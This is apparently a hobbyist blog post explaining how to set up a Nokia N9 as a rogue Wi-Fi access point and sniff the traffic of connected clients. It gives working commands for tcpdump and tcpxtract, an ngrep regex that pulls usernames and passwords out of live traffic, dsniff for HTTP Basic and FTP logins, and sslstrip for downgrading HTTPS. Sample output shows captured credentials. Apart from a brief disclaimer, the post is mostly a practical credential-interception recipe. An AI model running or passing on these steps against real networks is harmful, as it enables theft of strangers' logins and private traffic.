the n9 as an evil access point #mitm
Prelude: I used it in all these tools for development and privat use, e.g. you shouldn’t use it in a coffee-shop, call your hotspot “Free-Wifi” and turn the encryption off 
The last month I looked for a way to use my n9 as package sniffer and I figured out some usefull stuff …
… my train of thought was – how can I sniff whatever it’s transmitted through my stock wifi-hotspot (joikuspot) …
… so here’s a guideline of what I got working and how it works:
My device:
Nokia n9, Linux RM 696 2.6.32.54-dfl-161-20121301 open mode, meego Harmattan PR1.3
Pre-dependencies:
- opensh_1.00_armel
- enable rzr’s repository (setup repository)
I AM WORKING IN OPEN MODE, SO I DONT KNOW IF IT WORKS WITH THE STOCK KERNEL!!!
1. tcpdump + tcpxtract
2. ngrep
3. dsniff [dsniff itself]
4. ssldump?
1. tcpdump + tcpxtract:
tcpdump is a very powerful package analyzer – you can dump nearly all traffic with this tool …
tcpxtract is a tool to rebuild data from tcpdump-pcap files…
let’s install the packages [and dependencies]:
apt-get install tcpdump libpcap0.8
I took the tcpxtract_1.0.1-5_armel package out of the debian repository.
dpkg -i tcpxtract_1.0.1-5_armel.deb
now fire up the wifi hotspot, connect with a client and let the magic begin:
mkdir tcpxtract_out/
tcpdump -i wlan0 -n -s 1500 -w tcpdump_http.pcap port 80
# we are starting tcpdump on interface [-i] wlan0, set the snaplen to 1500 [-s], don’t convert addresses to names [-n] and listen only on port 80 [port 80]
open a website on the client … tcpdump will capture it.
when you think you are finished, kill tcpdump [crtl+c]
now we will convert the captured traffic:
/home/user/dev/tcpplay # tcpxtract -f tcpdump_http.pcap -o tcpxtract_out/
Found file of type “html” in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000000.html Found file of type “png” in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000001.png Found file of type “png” in session [82.150.199.80:20480 -> 192.168.20.20:25055], exporting to tcpxtract_out/00000002.png Found file of type “png” in session [192.168.20.20:26079 -> 82.150.199.80:20480], exporting to tcpxtract_out/00000003.png…
Found file of type “png” in session [92.122.212.57:20480 -> 192.168.20.20:30431], exporting to tcpxtract_out/00000021.png…
it looks like this.
I LIKE! 
2. ngrep
ngrep is a very powerful tool as well – you can analyze traffic live…
I’m going to show you how to filter the traffic by some regular expressions to look for logins:
first install the necessary dependencies and ngrep itself:
apt-get install lipcap0.8
here’s ngrep_1.45.ds2-9_armel [from debian repository]
dpkg -i ngrep ngrep_1.45.ds2-9_armel.deb
now fire up the wifi hotspot, connect with a client and let the magic begin [again 
]:
/home/user/dev/sniffer # ngrep ‘[&\s?](?:login|user(?:name|)|p(ass(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]*)’ -q -i -d gprs0 port 80 or port 25 or port 110 -l
interface: gprs0 (123.123.123.123/255.255.255.255)
filter: (ip or ip6) and ( port 80 or port 25 or port 110 )
match: [&\s?](?:login|user(?:name|)|p(ass(?:word|wd|)|w|wd))[\s:=]\s?([^&\s]*)T 123.123.123.123:61342 -> 82.150.199.80:80 [AP]
log=ohyes&pwd=itworks&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwww.true-binary.com%2Fwp-admin%2F&testcookie=1
# we are starting ngrep with a regular expression filter, tell it to be quiet [-q], to ignore case [-i], to use interface gprs0 [-d] (i had segment faults when I started it on wlan0 … from time to time), -l to make the stdout line buffered [-l] (usefull when capturing to a file {2>&1 >ngrep.log}) and filter the traffic by ports [port 80 or port 25 or port 110]
… What it doesn’t do is capturing htaccess logins, I use dsniff for it.
3. dsniff
dsniff? – omg, it’s awesome! it includes:
arpspoof – Send out unrequested (and possibly forged) arp replies.
dnsspoof – forge replies to arbitrary DNS address / pointer queries on the Local Area Network.
dsniff – password sniffer for several protocols.
filesnarf – saves selected files sniffed from NFS traffic.
macof – flood the local network with random MAC addresses.
mailsnarf – sniffs mail on the LAN and stores it in mbox format.
msgsnarf – record selected messages from different Instant Messengers.
sshmitm – SSH monkey-in-the-middle. proxies and sniffs SSH traffic.
sshow – SSH traffic analyser.
tcpkill – kills specified in-progress TCP connections.
tcpnice – slow down specified TCP connections via “active” traffic shaping.
urlsnarf – output selected URLs sniffed from HTTP traffic in CLF.
webmitm – HTTP / HTTPS monkey-in-the-middle. transparently proxies.
webspy – sends URLs sniffed from a client to your local browser (requires libx11-6 installed).
dsniff does have some more dependencies than the other tools I described:
I took the libdb4.6_4.6.21-16_armel and libnids1.21_1.23-2_armel from the debian repository.
Here’s dsniff_2.4b1+debian-18_armel
apt-get install libnet1 libpcap0.8 libssl0.9.8 openssl
dpkg -i libdb4.6_4.6.21-16_armel.deb
dpkg -i libnids1.21_1.23-2_armel.deb
dpkg -i dsniff_2.4b1+debian-18_armel.deb
whooop! – should be working now
dsniff itself is very simple to use – it has a build-in filter. I used it to sniff the authentication for htaccess logins as well as ftp logins:
/home/user/dev/sniffer # dsniff -m -s 1500 -i gprs0
dsniff: listening on gprs0—————–
01/31/13 10:45:02 tcp 123.123.123.123.61056 -> p111.111.111.111.some.isp.com.80 (http)
GET / HTTP/1.0
host: server.idonttellyou.com
authorization: Basic dGhpc2lzOmh0YWNjZXNzZHVtcA== [thisis:htaccessdump]—————–
01/31/13 10:47:22 tcp 123.123.123.123.57838 -> 82.150.199.80.21 (ftp)
USER thisis
PASS ftpdump
# we are starting dsniff with automatic protocol detection [-m], set the snaplen to 1500 [-s] and listen on interface gprs0 [-i] … again I got segment faults when listening on wlan0.
4. sslstrip?
sslstrip strips down your https connections to http …
… I found a way to pipe your local connection through sslstrip, but not with the hotspot connected client.
All I did was to modify my APN connection – I activated the http_proxy on 127.0.0.1 and port 10000, and changed a gconf setting (gconftool-2 -t string -s /system/proxy/mode “manual”) – deactivate and activate the connection again and fire up sslstrip.
An alternative for testing is to set the http proxy in firefox.
What I figured out was: The Joikuspot doesn’t use the APN entry from the phone settings, because I tried to add a second APN with some changed settings and it won’t show up in the properties of Joikuspot. – Maybe that’s why it doesn’t take the proxy settings from the APN … anyway, I’m still working on a workaround!
Here’s sslstrip-0.9 (taken from http://www.thoughtcrime.org/)
/home/user/dev/sniffer/# apt-get install python-twisted-web
/home/user/dev/sniffer # tar xzf sslstrip-0.9.tar.gz && cd sslstrip-0.9
/home/user/dev/sniffer/sslstrip-0.9 # python setup.py build
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
Cleaning up…
/home/user/dev/sniffer/sslstrip-0.9 # python setup.py install
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Cleaning up…
/home/user/dev/sniffer/sslstrip-0.9 # ln -s /usr/local/bin/sslstrip /usr/bin//home/user/dev/sniffer/sslstrip-0.9 # gconftool-2 -t string -s /system/proxy/mode “manual”
/home/user/dev/sniffer/sslstrip-0.9 # sslstrip -l 10000 -w ../sslstrip.log &
/home/user/dev/sniffer/sslstrip-0.9 # tail -f ../sslstrip.log
2013-01-31 23:57:56,683 SECURE POST Data (www.facebook.com):
lsd=AVpjTuuG&email=thisis%40just.an&pass=example&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C
… I also got the webmitm/mitmproxy running (fakes SSL-certifications, but as it’s not a very efficient and elegant way to work, so I won’t explain it)
cheers!
